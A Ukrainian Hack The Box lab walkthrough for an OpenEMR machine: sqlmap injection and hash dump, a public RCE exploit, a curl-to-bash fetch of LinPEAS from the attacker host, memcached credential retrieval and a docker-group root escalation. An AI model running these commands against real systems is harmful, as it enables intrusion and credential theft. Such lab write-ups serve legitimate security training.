Детально розглядається процес експлуатації вразливостей у системі керування медичними записами OpenEMR. Демонструємо, як за допомогою платформи Hack The Box можна виявити та використати вразливості, що призводять до віддаленого виконання коду (RCE).
У статті розглядається експлуатація вразливостей у CMS OpenEMR із використанням сервісів memcached та Docker.
Підключення до лабораторії виконується через VPN. Для підключення не рекомендується використовувати робочі комп’ютери або пристрої з важливими даними, оскільки під час роботи з приватною мережею існує ризик взаємодії з досвідченими фахівцями у сфері інформаційної безпеки.
Машині призначено IP-адресу 10.10.10.188, яка додається до файлу /etc/hosts
10.10.10.188 blackfield.htb
Спершу виконується сканування відкритих портів за допомогою скрипта, який приймає один аргумент — адресу хоста для сканування:
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1
На сервері працюють SSH та веб-сервер Apache.
І на сайті можлива авторизація.
І авторизувавшись із цими даними, отримаємо лише якусь картинку.
Переглядаючи сайт далі, на About сторінці знаходимо згадку про HMS.
Додаэмо це ім’я /etc/hosts і подивився, що поверне нам сервер:
10.10.10.188 hms.htb
Так вже краще. Це CMS OpenEMR. Для цієї системи перевіряються доступні експлоїти, враховуючи, що використовується версія 2018 року.
Виявлено експлоїт із можливістю RCE (обрано останню доступну версію). Код експлоїту скопійовано до поточної робочої директорії.
У коді бачимо, що потрібно вказати облікові дані.
А в описі експлоїту є посилання на PoC.
Вивчаючи матеріал за цим посиланням, дізнаємося про SQL ін’єкції.
Переходимо до hms.htb/portal та пробуємо зареєструватися.
Далі здійснюється перехід за адресою hms.htb/portal/add_edit_event_user.php?eid=1, що призводить до появи помилки.
Запит було повторено через Burp Suite і збережено у файл. Для виявлення та експлуатації SQL-ін’єкції використовується sqlmap, якому передається збережений файл запиту.
sqlmap -r r.req
Є ін’єкція! Отримаємо всі БД.
sqlmap -r r.req --dbs
Тепер дізнаємось таблиці з openemr.
sqlmap -r r.req -D openemr --tables
Найцікавіша частина була виділена на зображенні. Виконується отримання даних із цієї ділянки для подальшого аналізу.
sqlmap -r r.req -D openemr -T users_secure --dump
Отримано bcrypt-хеш. Для визначення відповідного режиму роботи в Hashcat використовується команда для пошуку його ідентифікатора.
hashcat --example | grep -A2 -B2 '\$2a\$'
У коді експлоїту задаються адреса та порт для прослуховування, отримані облікові дані та адреса сторінки сайту для виконання атаки.
Відкриємо листенер і виконаємо експлоїт.
Подивимося які є користувачі.
Створюється повноцінний TTY шелл, після чого виконується перехід під користувача ash, використовуючи відомий пароль.
python3 -c 'import pty;pty.spawn("/bin/bash")'
І отримуємо перший прапор.
Для розвідки на віддаленому хості використовуємо скрипт LinPEAS.
curl 10.10.15.110/linpeas.sh | /bin/bash
Виявлено багато корисної інформації: на системі використовується Docker, причому другий користувач належить до групи docker (999). На локальному порту 11211 функціонує сервіс memcached. Пам’ять memcached організована у вигляді сегментів, званих slab’ами. Виконується підключення до порту 11211 для отримання списку доступних slab’ів.
telnet localhost 11211 stats slabs
Slab’и розділяються на менші сегменти — chunk’и. У цьому випадку виявлено лише один slab та його відповідні chunk’и. Виконується запит для отримання даних, які зберігаються у цьому slab.
stats cachedump 1 0
Кожен рядок містить ключ-ідентифікатор, розмір даних за цим ключем та timestamp. Основна увага зосереджена на отриманні даних із ключами, що відповідають user та passwd.
get user get passwd
І отримуємо другого користувача (можна авторизуватися за SSH).
Оскільки раніше згадувався Docker, виконується перевірка доступних Docker-образів у системі для подальшого аналізу.
docker images
Виявлено один образ Ubuntu. Виконується його монтування для подальшого дослідження вмісту.
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
Забираємо прапор рута.
У статті детально розглядається процес експлуатації вразливостей у CMS OpenEMR за допомогою інструментів, таких як Burp Suite, sqlmap і Hashcat. Особлива увага приділяється аналізу memcached, використанню Docker та отриманню привілейованого доступу через RCE. На основі виявлених даних демонструється покроковий підхід до розкриття та експлуатації слабких місць системи, що є корисним для фахівців з інформаційної безпеки.